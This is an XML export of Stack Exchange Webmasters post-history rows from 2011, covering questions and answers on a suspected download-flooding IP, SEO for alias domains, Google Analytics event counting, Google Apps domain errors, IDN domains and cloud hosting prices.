  <row Id="42028" PostHistoryTypeId="3" PostId="17473" RevisionGUID="b36302a2-fcef-40a8-ab64-bdb24713d929" CreationDate="2011-07-27T16:38:05.760" UserId="5727" Text="&lt;bandwidth&gt;&lt;hacking&gt;&lt;attack&gt;" />
  <row Id="42029" PostHistoryTypeId="5" PostId="17473" RevisionGUID="8d8dcf02-bb35-47c0-bd6c-2c4415431e83" CreationDate="2011-07-27T16:50:25.180" UserId="5727" Comment="added 179 characters in body" Text="We serve a 13mb download which is reasonably popular, around 150-300 downloads a day.&#xD;&#xA;&#xD;&#xA;Today we have had 1,200 downloads and as I browse the logs I find they all originate from the same IP address.  GeoIP says it originates from Russia, Moscow although that may be inaccurate.&#xD;&#xA;&#xD;&#xA;A new download is being requested currently every 6 seconds.  Google analytics is not showing any signs of heavy traffic.&#xD;&#xA;&#xD;&#xA;Are we being attacked?  The server is coping fine, but it's going to soak all our bandwidth up.  Is that the purpose of it?&#xD;&#xA;&#xD;&#xA;On http://www.projecthoneypot.org the IP is showing as &quot;detected behavior from the IP address consistent with that of a mail server and dictionary attacker&quot;.&#xD;&#xA;&#xD;&#xA;## Edit ##&#xD;&#xA;&#xD;&#xA;I've blocked the IP via IIS, this single IP was responsible for ~500 downloads.  I suspect a couple more IP's but will allow them for now and keep a close eye on it." />
  <row Id="42030" PostHistoryTypeId="2" PostId="17474" RevisionGUID="167404a8-2cb1-4188-ad13-69f3897f4f2e" CreationDate="2011-07-27T17:08:01.420" UserId="8147" Text="I think that it isn't attack. If that Russian guy wanted to attack you, he did it very poorly. &#xD;&#xA;&#xD;&#xA;Blocking his IP on firewall is fastest, however dangerous way for another potentional clients" />
  <row Id="42031" PostHistoryTypeId="5" PostId="17473" RevisionGUID="4dba3a12-fd48-4234-8c45-d08c6c72c4e4" CreationDate="2011-07-27T17:09:24.077" UserId="5727" Comment="added 84 characters in body" Text="We serve a 13mb download which is reasonably popular, around 150-300 downloads a day.&#xD;&#xA;&#xD;&#xA;Today we have had 1,200 downloads and as I browse the logs I find they all originate from the same IP address.  GeoIP says it originates from Russia, Moscow although that may be inaccurate.&#xD;&#xA;&#xD;&#xA;A new download is being requested currently every 6 seconds.  Google analytics is not showing any signs of heavy traffic.&#xD;&#xA;&#xD;&#xA;Are we being attacked?  The server is coping fine, but it's going to soak all our bandwidth up.  Is that the purpose of it?&#xD;&#xA;&#xD;&#xA;On http://www.projecthoneypot.org the IP is showing as &quot;detected behavior from the IP address consistent with that of a mail server and dictionary attacker&quot;.&#xD;&#xA;&#xD;&#xA;## Edit ##&#xD;&#xA;&#xD;&#xA;I've blocked the IP via IIS, this single IP was responsible for ~500 downloads.  I suspect a couple more IP's but will allow them for now and keep a close eye on it.&#xD;&#xA;&#xD;&#xA;Edit2: 3 IP's from same city responsible &gt;1000 downloads over the last few days." />
  <row Id="42032" PostHistoryTypeId="2" PostId="17475" RevisionGUID="aa529886-2cba-45ba-9180-cc0b91bcf582" CreationDate="2011-07-27T17:18:31.140" UserId="9229" Text="We're running a significant website built using Ruby On Rails and Warden for authentication.&#xD;&#xA;&#xD;&#xA;We'd like to setup a community forum to allow users provide each others tips. Ideally this forum would be multi language (not sure if it's essential) and we absolutely need that users don't need to reauthenticate through the forum.&#xD;&#xA;&#xD;&#xA;I tried Vanilla forums but it doesn't fit - their proxy-connect plugin is buggy and breaks from a version to another.&#xD;&#xA;&#xD;&#xA;Do you guys have any recommendations ?&#xD;&#xA;&#xD;&#xA;Thanks for your help !" />
  <row Id="42033" PostHistoryTypeId="1" PostId="17475" RevisionGUID="aa529886-2cba-45ba-9180-cc0b91bcf582" CreationDate="2011-07-27T17:18:31.140" UserId="9229" Text="Recommendation for Rails/SSO forum" />
  <row Id="42034" PostHistoryTypeId="3" PostId="17475" RevisionGUID="aa529886-2cba-45ba-9180-cc0b91bcf582" CreationDate="2011-07-27T17:18:31.140" UserId="9229" Text="&lt;forum&gt;&lt;customer-service&gt;&lt;community&gt;" />
  <row Id="42035" PostHistoryTypeId="17" PostId="17476" RevisionGUID="cc85387f-7b27-4ef7-97fa-cae8364b3384" CreationDate="2011-07-27T18:24:24.503" UserId="-1" Comment="from http://stackoverflow.com/questions/6847799/seo-and-alias-domain-names" Text="" />
  <row Id="42036" PostHistoryTypeId="2" PostId="17477" RevisionGUID="3b2f32d8-b4df-4e00-8dff-9d24b84e7201" CreationDate="2011-07-27T16:32:45.380" UserId="1253" Text="&gt; is it &quot;enough&quot; to just set them up as aliases&#xD;&#xA;&gt;&#xD;&#xA;&gt;is it better to alias them and setup some kind of rewrite rules to make the content look like separate domains&#xD;&#xA;&#xD;&#xA;No. If you do this you will have duplicate content issues as the same content can be retrieved from more then one URL. If you have multiple domains you will want to do a 301 redirect from the alternate domains to the primary domain. This will prevent duplicate content issues and if someone ever tries to use an alternate domain they will find the primary instead.&#xD;&#xA;&#xD;&#xA;&gt; is it better to set them up as landing pages with slightly different content &amp; then redirect to the main site?&#xD;&#xA;&#xD;&#xA;No. Those pages will have no SEO value due to having little content and no links to them themselves. So links from those pages will be worthless. You're life will be much easier if you just redirect the alternate domains to the primary domain from the get go." />
  <row Id="42037" PostHistoryTypeId="2" PostId="17476" RevisionGUID="fb946d89-e975-469e-8c34-53c97cbdd449" CreationDate="2011-07-27T16:19:48.827" UserId="9241" UserDisplayName="Sean Kimball" Text="What is the best SEO strategy when aliasing several domains to a primary domain, &#xD;&#xA;&#xD;&#xA;- is it &quot;enough&quot; to just set them up as aliases&#xD;&#xA;- is it better to alias them and setup some kind of rewrite rules to make the content look like separate domains &#xD;&#xA;- is it better to set them up as landing pages with slightly different content &amp; then redirect to the main site? &#xD;&#xA;&#xD;&#xA;or are there better ways I haven't considered? &#xD;&#xA;&#xD;&#xA;-thanks&#xD;&#xA;-sean " />
  <row Id="42038" PostHistoryTypeId="1" PostId="17476" RevisionGUID="fb946d89-e975-469e-8c34-53c97cbdd449" CreationDate="2011-07-27T16:19:48.827" UserId="9241" UserDisplayName="Sean Kimball" Text="SEO and alias domain names" />
  <row Id="42039" PostHistoryTypeId="3" PostId="17476" RevisionGUID="fb946d89-e975-469e-8c34-53c97cbdd449" CreationDate="2011-07-27T16:19:48.827" UserId="9241" UserDisplayName="Sean Kimball" Text="&lt;seo&gt;&lt;domain-names&gt;" />
  <row Id="42040" PostHistoryTypeId="17" PostId="17477" RevisionGUID="c5db27fc-d88c-43c2-8c99-cb725ba55293" CreationDate="2011-07-27T18:24:24.503" UserId="-1" Comment="from http://stackoverflow.com/questions/6847799/seo-and-alias-domain-names" Text="" />
  <row Id="42041" PostHistoryTypeId="25" PostId="17468" RevisionGUID="05760066-3304-46a8-9a86-900d82e21796" CreationDate="2011-07-27T18:32:04.263" Comment="http://twitter.com/#!/StackWebmasters/status/96286748602150912" />
  <row Id="42042" PostHistoryTypeId="2" PostId="17478" RevisionGUID="dcf8fc1e-c83d-45e3-94ee-92cc2ca955ec" CreationDate="2011-07-27T18:55:59.247" UserId="9205" Text="Heres what I figured out. If I have a route in rails like /life/announcements  and you put in /life/announcements.php  Rails seems to ignore the .php.  And though I haven't been able to recreate it for index.php, if you goto /index  you get the index so following the above example /index.php would give you /index&#xD;&#xA;So analytics is just tracking the url whether Rails is ignoring the .php or not.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="42043" PostHistoryTypeId="17" PostId="17479" RevisionGUID="44786219-c05a-4d01-ab56-b21a6953764f" CreationDate="2011-07-27T20:01:46.990" UserId="-1" Comment="from http://stackoverflow.com/questions/6836088/google-analytics-do-unique-events-report-as-unique-visits-when-triggered-on-page" Text="" />
  <row Id="42044" PostHistoryTypeId="17" PostId="17480" RevisionGUID="19962e6d-2775-4f18-b0b0-4f82d43ebd05" CreationDate="2011-07-27T20:01:46.990" UserId="-1" Comment="from http://stackoverflow.com/questions/6836088/google-analytics-do-unique-events-report-as-unique-visits-when-triggered-on-page" Text="" />
  <row Id="42045" PostHistoryTypeId="2" PostId="17480" RevisionGUID="ffe48beb-d2c8-4a01-9938-625d58fc453e" CreationDate="2011-07-26T23:45:59.970" UserId="9238" UserDisplayName="jen" Text="&gt; *It seems counterintuitive, but does GA count an event fired as a unique visit even if it's triggered from some place other than your website?*&#xD;&#xA;&#xD;&#xA;What may be happening here is the same thing that affects the bounce rate. See [Bounce Rate Impact](http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html#implementationConsiderations)&#xD;&#xA;&#xD;&#xA;&gt; *If so, there any way to trigger an event in the events section without it reporting to the unique visitor count?*&#xD;&#xA;&#xD;&#xA;Doesn't look like it since the event tracking works with the gif request.&#xD;&#xA;&#xD;&#xA;&gt; This is because Event Tracking, like page tracking is classified as an interaction request.&#xD;&#xA;&#xD;&#xA;&gt; For example, suppose you have a page with a video player where the bounce rate is historically high, and you have not implemented Event Tracking for the page. If you subsequently set up Event Tracking for the player, you might notice a decrease in the bounce rate for that page, because **Analytics will record user interaction with the player and send that interaction to the server as an additional GIF request.**" />
  <row Id="42046" PostHistoryTypeId="2" PostId="17479" RevisionGUID="a518dbab-dba9-422a-a611-d9c9b5c21028" CreationDate="2011-07-26T20:21:29.873" UserDisplayName="Jesse Gardner" Text="We just recently attached a SWF to our Brightcove video player to report various events back to Google Analytics.  We're also tracking page views with a standard GA snippet on the page where the player is embedded.  As I understand it, because a unique has already been recorded for the page, any event being triggered by the player is getting associated with that unique.&#xD;&#xA;&#xD;&#xA;However, we allow people to embed the video player on other websites. All of the event data started pouring into the Events section as expected, but we noticed a dramatic uptick in unique visitors on the site (nearly double) while the pageview count stayed relatively unchanged.  Disabling event tracking brought the traffic back down to average levels.&#xD;&#xA;&#xD;&#xA;I should also add that in the Pages section of Event tracking we're seeing URLs for other sites where the player has been embedded; but this data isn't showing up in the Content section.&#xD;&#xA;&#xD;&#xA;It seems counterintuitive, but does GA count an event fired as a unique visit even if it's triggered from some place other than your website?  Is so, there any way to trigger an event in the events section without it reporting to the unique visitor count?" />
  <row Id="42047" PostHistoryTypeId="1" PostId="17479" RevisionGUID="a518dbab-dba9-422a-a611-d9c9b5c21028" CreationDate="2011-07-26T20:21:29.873" UserDisplayName="Jesse Gardner" Text="Google Analytics: Do unique events report as unique visits when triggered on pages other than your own domain?" />
  <row Id="42048" PostHistoryTypeId="3" PostId="17479" RevisionGUID="a518dbab-dba9-422a-a611-d9c9b5c21028" CreationDate="2011-07-26T20:21:29.873" UserDisplayName="Jesse Gardner" Text="&lt;google-analytics&gt;" />
  <row Id="42049" PostHistoryTypeId="2" PostId="17481" RevisionGUID="eb1b743b-64dd-4e73-b80c-62ce4def801a" CreationDate="2011-07-27T20:16:55.203" UserId="1248" Text="For SEO, no impact.  But from a quality aspect, there is no reason not to use programming to automatically output the current year." />
  <row Id="42050" PostHistoryTypeId="25" PostId="17460" RevisionGUID="39c2182b-0ec9-4d11-a582-fce9e7168580" CreationDate="2011-07-27T21:32:04.523" Comment="http://twitter.com/#!/StackWebmasters/status/96332046976290817" />
  <row Id="42051" PostHistoryTypeId="17" PostId="17482" RevisionGUID="60ba741f-1eac-4570-b99b-f4799080c3ed" CreationDate="2011-07-27T21:59:04.053" UserId="-1" Comment="from http://serverfault.com/questions/147653/google-apps-claims-my-domain-is-registered-but-when-i-try-to-access-it-claims-it" Text="" />
  <row Id="42052" PostHistoryTypeId="17" PostId="17483" RevisionGUID="cb2de01b-5b6a-40bd-a270-a4edbb246e47" CreationDate="2011-07-27T21:59:04.053" UserId="-1" Comment="from http://serverfault.com/questions/147653/google-apps-claims-my-domain-is-registered-but-when-i-try-to-access-it-claims-it" Text="" />
  <row Id="42053" PostHistoryTypeId="17" PostId="17484" RevisionGUID="193351ee-3e1f-4bb5-a6c6-0959d6f642e4" CreationDate="2011-07-27T21:59:04.053" UserId="-1" Comment="from http://serverfault.com/questions/147653/google-apps-claims-my-domain-is-registered-but-when-i-try-to-access-it-claims-it" Text="" />
  <row Id="42054" PostHistoryTypeId="2" PostId="17483" RevisionGUID="06e66211-55ed-4478-8a44-02dd86e746cd" CreationDate="2010-06-02T23:37:48.817" UserId="1185" Text="Eek... I believe something like this happened to us on a test domain (I think it took a couple of weeks to be resolved though).  There is an 'emergency' contact for Google.  The only thing I could find was a 'service unusable' contact phone number (shown at our admin page):&#xD;&#xA;&#xD;&#xA;&gt; Google Apps phone line available for service unusable issues&#xD;&#xA;&quot;Service unusable&quot; is a Google server error that prevents users from accessing a Google Apps online service. By asking that you reserve the phone line for service unusable issues only, we can better ensure that all customers receive an immediate response in emergency situations.&#xD;&#xA;&lt;br&gt;&lt;b&gt;(Local):1-800-598-3901&lt;br&gt;&#xD;&#xA;(Global):1-650-253-7875&#xD;&#xA;&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;In case that doesn't work try their support and discussion pages: &#xD;&#xA;&#xD;&#xA;- http://www.google.com/support/a/&#xD;&#xA;- http://www.google.com/support/forum/p/Google+Apps?hl=en&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42055" PostHistoryTypeId="2" PostId="17484" RevisionGUID="3a57c159-bc55-42b0-bfd8-7c3b1e57308d" CreationDate="2011-07-26T12:40:26.723" UserDisplayName="Saariko" Text="Please make sure you login to your Primary domain, and not to an alias domain.&#xD;&#xA;If you try to login to an alias domain, that is exactly the error you will get.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/a/bin/answer.py?answer=33419&#xD;&#xA;" />
  <row Id="42056" PostHistoryTypeId="2" PostId="17482" RevisionGUID="b81e594c-e466-4cfc-a847-73525abdba19" CreationDate="2010-06-02T23:18:16.133" UserDisplayName="Lashae" Text="we have registered one of our domains with Google Apps 2 years ago. However, we didn't even use it. Now if I try to access:&#xD;&#xA;&#xD;&#xA;http://google.com/a/mydomain.com&#xD;&#xA;&#xD;&#xA;What I see is: &#xD;&#xA;&#xD;&#xA;&gt; Server error&#xD;&#xA;Sorry, you've reached a login page for a domain that isn't using Google Apps. Please check the web address and try again.&#xD;&#xA;&#xD;&#xA;Then I go to Google Apps Standard Edition signup page and type mydomain.com. However, what I get is:&#xD;&#xA;&#xD;&#xA;&gt; This domain has already been registered with Google Apps. Please contact your domain administrator for instructions on using Google Apps with this domain.&#xD;&#xA;&#xD;&#xA;Is there anyone who can explain me what this inconsistency is caused by and what I can do?&#xD;&#xA;&#xD;&#xA;Since Google Apps Standard Edition doesn't grant me to contact with Google, I can't even submit a bug report.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42057" PostHistoryTypeId="1" PostId="17482" RevisionGUID="b81e594c-e466-4cfc-a847-73525abdba19" CreationDate="2010-06-02T23:18:16.133" UserDisplayName="Lashae" Text="Google Apps claims my domain is registered but when I try to access it claims it is not" />
  <row Id="42058" PostHistoryTypeId="3" PostId="17482" RevisionGUID="b81e594c-e466-4cfc-a847-73525abdba19" CreationDate="2010-06-02T23:18:16.133" UserDisplayName="Lashae" Text="&lt;google-apps&gt;" />
  <row Id="42059" PostHistoryTypeId="2" PostId="17485" RevisionGUID="3212bbc3-0670-4820-a70f-ae7679ab9940" CreationDate="2011-07-28T00:00:42.193" UserId="8799" Text="1. **Squatters or competition** **will** buy the romanized version of your domain name, eventually.&#xD;&#xA;&#xD;&#xA; So if it's of any importance (or that may gather importance with time) you will have to buy **both**.&#xD;&#xA;&#xD;&#xA;2. **Spammers and phishers**.  &#xD;&#xA;Unicode is *full* of characters that *look a lot* like latin ones.  &#xD;&#xA;&#xD;&#xA; They're only starting to use them right now, but in some months, unnecessary IDN names *might start to look phishy*. &#xD;&#xA;&#xD;&#xA;3. **International visitors** with a non icelandic keyboard layout might just hate you. But then, if you're not planning of putting that name on business card, that might not be such a big deal.&#xD;&#xA;&#xD;&#xA;Anyway... **[☺.com][1]** must be the ***state of the art*** of the *un-necessary IDN usage*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://☺.com" />
  <row Id="42060" PostHistoryTypeId="5" PostId="17485" RevisionGUID="7143c171-1510-4627-ab03-b26abcfa959b" CreationDate="2011-07-28T00:07:23.873" UserId="8799" Comment="added 143 characters in body" Text="1. **Squatters or competition** **will** buy the romanized version of your domain name, eventually.&#xD;&#xA;&#xD;&#xA; So if it's of any importance (or that may gather importance with time) you will have to buy **both**.&#xD;&#xA;&#xD;&#xA;2. **Spammers and phishers**.  &#xD;&#xA;Unicode is *full* of characters that *look a lot* like latin ones.  &#xD;&#xA;&#xD;&#xA; They're only starting to use them right now, but in some months, unnecessary IDN names *might start to look phishy*. &#xD;&#xA;&#xD;&#xA;3. **International visitors** with a non icelandic keyboard layout might just hate you. But then, if you're not planning of putting that name on business card, that might not be such a big deal.&#xD;&#xA;&#xD;&#xA;Anyway... **[☺.com][1]** must be the ***state of the art*** of the *un-necessary IDN usage*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xn--74h.com/&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&gt; *Post-Scriptum:* Guess who doesn't support IDNs like **☺.com**? Stackexchange :)  &#xD;&#xA;&gt; Had to dig for the xn-code by hand. :/" />
  <row Id="42061" PostHistoryTypeId="25" PostId="17449" RevisionGUID="271ae86f-0b24-4183-9b9a-b742831d75a6" CreationDate="2011-07-28T00:32:04.460" Comment="http://twitter.com/#!/StackWebmasters/status/96377345455300608" />
  <row Id="42062" PostHistoryTypeId="17" PostId="17486" RevisionGUID="1777477a-62fe-4865-830c-05c58cb1dcba" CreationDate="2011-07-28T01:28:17.757" UserId="-1" Comment="from http://stackoverflow.com/questions/6846545/does-azure-have-a-free-until-some-limit-program" Text="" />
  <row Id="42063" PostHistoryTypeId="17" PostId="17487" RevisionGUID="adf4021b-6495-491d-8745-b38722c183ac" CreationDate="2011-07-28T01:28:17.757" UserId="-1" Comment="from http://stackoverflow.com/questions/6846545/does-azure-have-a-free-until-some-limit-program" Text="" />
  <row Id="42064" PostHistoryTypeId="17" PostId="17488" RevisionGUID="dccac2b2-0fc4-45f5-981c-fc874f538630" CreationDate="2011-07-28T01:28:17.757" UserId="-1" Comment="from http://stackoverflow.com/questions/6846545/does-azure-have-a-free-until-some-limit-program" Text="" />
  <row Id="42065" PostHistoryTypeId="17" PostId="17489" RevisionGUID="97f02966-df4e-403a-95a8-42c097625077" CreationDate="2011-07-28T01:28:17.757" UserId="-1" Comment="from http://stackoverflow.com/questions/6846545/does-azure-have-a-free-until-some-limit-program" Text="" />
  <row Id="42066" PostHistoryTypeId="2" PostId="17487" RevisionGUID="7c3e9559-1597-4b97-a5e1-0d10d7a83e4c" CreationDate="2011-07-27T15:04:08.013" UserDisplayName="Kevin Cloet" Text="There are some free trials or cheaper ways to get a subscription.&#xD;&#xA;&#xD;&#xA;You can get a 30 free day pass from here:&#xD;&#xA;&#xD;&#xA;http://windowsazurepass.com/&#xD;&#xA;&#xD;&#xA;If you have a MSDN/MPN/BizzSpark subscription you can get a free or cheaper deal aswell from here:&#xD;&#xA;&#xD;&#xA;http://www.microsoft.com/windowsazure/offers/&#xD;&#xA;&#xD;&#xA;You can sign up for a free trial for 90 days aswell. But this has some dangerous limitations and you have to enter your credit card. If you go over the limit you will be charged.&#xD;&#xA;&#xD;&#xA;http://www.microsoft.com/windowsazure/free-trial/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The pricing your are talking about is for a small instance. You have a smaller instance aswell called 'Extra small instance'. This one goes for $ 0.05 an hour." />
  <row Id="42067" PostHistoryTypeId="2" PostId="17488" RevisionGUID="63df0ecc-98c9-4f98-a13c-cef88c2ef3dc" CreationDate="2011-07-27T15:20:33.787" UserId="9234" UserDisplayName="David Makogon" Text="Regarding your one bullet point:&#xD;&#xA;&#xD;&#xA;&gt; Azure costs $0.12/hour, you need at least two instances=&gt;0.12x2x24x30=$172/month&#xD;&#xA;&#xD;&#xA;You're only required to have one instance of a given VM, but if you want SLA in case your VM goes offline for any reason (like the underlying hardware failing, or the OS being updated), you'll need 2 or more instances. Same goes for Amazon. You don't magically get failover on a service running on a single VM. With Amazon, don't forget the cost of a load-balancer as well (which is built into the Windows Azure Compute pricing).&#xD;&#xA;&#xD;&#xA;As Kevin Cloet pointed out, Extra Small instances are priced at 0.05 per hour, which would allow you to have a 2-instance deployment for $72 monthly, giving you SLA as well.&#xD;&#xA;&#xD;&#xA;Be careful when comparing to &quot;normal&quot; hosting. Most discount hosting is shared hosting, and your app is placed on a box alongside potentially dozens of other tenants, with no consistent performance. If one of those tenants is abusive with CPU and bandwidth, your site will suffer.&#xD;&#xA;&#xD;&#xA;One more thing: With Windows Azure, you have a compute+storage emulator that runs locally. While there are some differences, you can typically perform the majority of your development work locally.&#xD;&#xA;" />
  <row Id="42068" PostHistoryTypeId="2" PostId="17489" RevisionGUID="0f7da4dd-50c1-4578-a2ee-1b97f73fcdc0" CreationDate="2011-07-27T18:51:50.203" UserDisplayName="Stuart" Text="Regarding:&#xD;&#xA;&#xD;&#xA;&gt; Amazon offers free services for 1 year http://aws.amazon.com/free/, supports .NET&#xD;&#xA;&#xD;&#xA;Please bear in mind that the free instances are Linux - so you'll need to get Mono working for .Net within the free system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, if your load is constant (e.g. if you just want to have 2 instances always running) then please look at the subscription rates for both AWS and Azure - if you pay upfront then both services offer cheaper rates.&#xD;&#xA;" />
  <row Id="42069" PostHistoryTypeId="2" PostId="17486" RevisionGUID="69d6e583-d392-4127-ad23-41f9c04a8ed0" CreationDate="2011-07-27T14:59:21.640" UserDisplayName="Ryan" Text="- Amazon offers free services for 1 year http://aws.amazon.com/free/, supports .NET&#xD;&#xA;- Google offers them free until you reach some limit, but does not support .Net&#xD;&#xA;- Azure costs $0.12/hour, you need at least two instances=&gt;0.12x2x24x30=$172/month. &#xD;&#xA;&#xD;&#xA;Question: Don't you think Azure is really expensive when you are just lunching and you need only the minimum number of instances? You can buy the same computing power that 2 instances offer for less than $30 as normal hosting.&#xD;&#xA;&#xD;&#xA;Do I mistake or why this great differences in prices between azure and normal hosting?&#xD;&#xA;" />
  <row Id="42070" PostHistoryTypeId="1" PostId="17486" RevisionGUID="69d6e583-d392-4127-ad23-41f9c04a8ed0" CreationDate="2011-07-27T14:59:21.640" UserDisplayName="Ryan" Text="does Azure have a free until some limit program?" />
  <row Id="42071" PostHistoryTypeId="3" PostId="17486" RevisionGUID="69d6e583-d392-4127-ad23-41f9c04a8ed0" CreationDate="2011-07-27T14:59:21.640" UserDisplayName="Ryan" Text="&lt;pricing&gt;" />
  <row Id="42072" PostHistoryTypeId="2" PostId="17490" RevisionGUID="cff869b1-b051-4313-9659-0336d811b202" CreationDate="2011-07-28T02:35:29.550" UserId="6334" Text="I am trying to setup a website for this design studio and need to put in a widget which would allow people to &quot;Like, +1, follow on twitter&quot; etc. I have been writing code for some years now, but I am relatively new to web development. &#xD;&#xA;&#xD;&#xA;I was wondering if a widget or some online tool exists that would let me generate html/script code for this.&#xD;&#xA;&#xD;&#xA;Please let me know if you would want me to specify any other details.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="42073" PostHistoryTypeId="1" PostId="17490" RevisionGUID="cff869b1-b051-4313-9659-0336d811b202" CreationDate="2011-07-28T02:35:29.550" UserId="6334" Text="widget / template code for +1, Like, Follow on Twitter etc" />
  <row Id="42074" PostHistoryTypeId="3" PostId="17490" RevisionGUID="cff869b1-b051-4313-9659-0336d811b202" CreationDate="2011-07-28T02:35:29.550" UserId="6334" Text="&lt;facebook&gt;&lt;twitter&gt;&lt;social-networks&gt;&lt;google-plus-one&gt;" />
  <row Id="42075" PostHistoryTypeId="2" PostId="17491" RevisionGUID="3abdc75d-cbfe-4f8e-a3b2-3512b40a71d6" CreationDate="2011-07-28T02:41:03.247" UserId="1253" Text="[Addthis][1] is what you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addthis.com/" />
  <row Id="42076" PostHistoryTypeId="5" PostId="17490" RevisionGUID="11d66ab3-8025-4f40-a05b-1239278b019b" CreationDate="2011-07-28T02:41:27.927" UserId="1253" Comment="deleted 81 characters in body" Text="I am trying to setup a website for this design studio and need to put in a widget which would allow people to &quot;Like, +1, follow on twitter&quot; etc. I have been writing code for some years now, but I am relatively new to web development. &#xD;&#xA;&#xD;&#xA;I was wondering if a widget or some online tool exists that would let me generate html/script code for this.&#xD;&#xA;" />
  <row Id="42077" PostHistoryTypeId="10" PostId="17486" RevisionGUID="39fc0b64-b304-4371-8b7f-f185289972ac" CreationDate="2011-07-28T02:51:49.643" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42078" PostHistoryTypeId="6" PostId="17486" RevisionGUID="11d3045a-c872-4849-8cb9-949d36dbae72" CreationDate="2011-07-28T02:55:10.763" UserId="1253" Comment="modified tags" Text="&lt;pricing&gt;&lt;azure&gt;" />
  <row Id="42079" PostHistoryTypeId="25" PostId="17466" RevisionGUID="7de6cfbf-1a77-4679-ac8d-4e716a33c3c4" CreationDate="2011-07-28T03:32:10.297" Comment="http://twitter.com/#!/StackWebmasters/status/96422667690844160" />
  <row Id="42080" PostHistoryTypeId="2" PostId="17492" RevisionGUID="9474b96c-1350-4f7f-9bb5-ad1fedee02c5" CreationDate="2011-07-28T05:45:45.847" UserId="6334" Text="I have a website made up of only html pages. Instead of copy pasting the google analytics code on every .html file, is there a better way to include the google code on every page ?&#xD;&#xA; " />
  <row Id="42081" PostHistoryTypeId="1" PostId="17492" RevisionGUID="9474b96c-1350-4f7f-9bb5-ad1fedee02c5" CreationDate="2011-07-28T05:45:45.847" UserId="6334" Text="easier way to include google analytics script code on every page ?" />
  <row Id="42082" PostHistoryTypeId="3" PostId="17492" RevisionGUID="9474b96c-1350-4f7f-9bb5-ad1fedee02c5" CreationDate="2011-07-28T05:45:45.847" UserId="6334" Text="&lt;html&gt;&lt;google-analytics&gt;" />
  <row Id="42083" PostHistoryTypeId="2" PostId="17493" RevisionGUID="12a6cb43-0bae-429c-98cb-140d7b124b54" CreationDate="2011-07-28T05:58:42.330" UserId="9233" Text="I think the quickest is to make footer.php for example and add the code there. After that or before that footer have to appear as element in every page of your website." />
  <row Id="42084" PostHistoryTypeId="2" PostId="17494" RevisionGUID="e4d9543e-5d94-4d80-a54b-e5bc6b252bb3" CreationDate="2011-07-28T06:04:19.913" UserId="9233" Text="I think to find the best answer is to compare GA data with server log data for example AWStats and figure out why numbers are different, GA can't be triggered always, by one or another reason." />
  <row Id="42085" PostHistoryTypeId="2" PostId="17495" RevisionGUID="b8c7734f-a9a5-4cfe-967b-a409b223dce9" CreationDate="2011-07-28T06:21:30.647" UserId="1240" Text="Server Side Includes could be your way forward.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Server_Side_Includes&#xD;&#xA;&#xD;&#xA;They are generally ignored because scripting languages like PHP do a better job, but these will get the job done for you." />
  <row Id="42086" PostHistoryTypeId="25" PostId="17473" RevisionGUID="8bcb3189-3004-48f4-b800-c3c4891c4100" CreationDate="2011-07-28T06:32:10.560" Comment="http://twitter.com/#!/StackWebmasters/status/96467968971636736" />
  <row Id="42087" PostHistoryTypeId="2" PostId="17496" RevisionGUID="299f0141-f082-4d9e-8756-f706056764c9" CreationDate="2011-07-28T07:12:51.330" UserId="6596" Text="For information, the bug is really tricky in Windows Dev mode.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;For Exo, the solution is :&#xD;&#xA;&#xD;&#xA;    Please remove 127.0.0.1 address in your hosts file and try again.&#xD;&#xA;&#xD;&#xA;    The contents of your hosts file must be:&#xD;&#xA;&#xD;&#xA;    @IP(your IP address)  openam.vauban.com&#xD;&#xA;&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;+&#xD;&#xA;&#xD;&#xA;    This is the right scenario to use in order to check that openAM works fine with your eXoPlatform bundle:&#xD;&#xA;&#xD;&#xA;        Go to /portal instead of /portal/sso in order to create cookies in the browser, because if we go directly to /portal/sso we get this exception and there is always an opened jboss portal issue for this problem https://issues.jboss.org/browse/GTNPORTAL-1908.&#xD;&#xA;        Go to /portal/sso.&#xD;&#xA;        You will be redirect to the openAM login screen.&#xD;&#xA;        Connect as root/gtn.&#xD;&#xA;        You will be redirect to /portal/private with a login page.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Moreover I would like to add for OpenAM, be careful on the domain you use. Because if you use two different servers on two different domains you have to change the value of the domain cookie in OpenAM.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Then, you have to change the ErrorLoginServlet and the PortalLoginServlet (web.xml of portal) because they use the bad servlet to manage the login part of exo.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Macois" />
  <row Id="42088" PostHistoryTypeId="2" PostId="17497" RevisionGUID="0790401d-5234-4302-a4ad-2d19fee20f55" CreationDate="2011-07-28T07:38:58.683" UserId="9236" Text="When *designing* a website to be accessed from an embedded webserver such as [KLone][1], what do you need to do differently compared to a 'standard' web server. I'm talking about considerations at the front end design stage, before the actual building and coding up.&#xD;&#xA;&#xD;&#xA;For example, typically in such situations, memory size is a premium, so I guess larger images are out, and maybe more attention should be focused on achieving a good look and feel using CSS/Javascript rather than bitmap images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.koanlogic.com/klone/" />
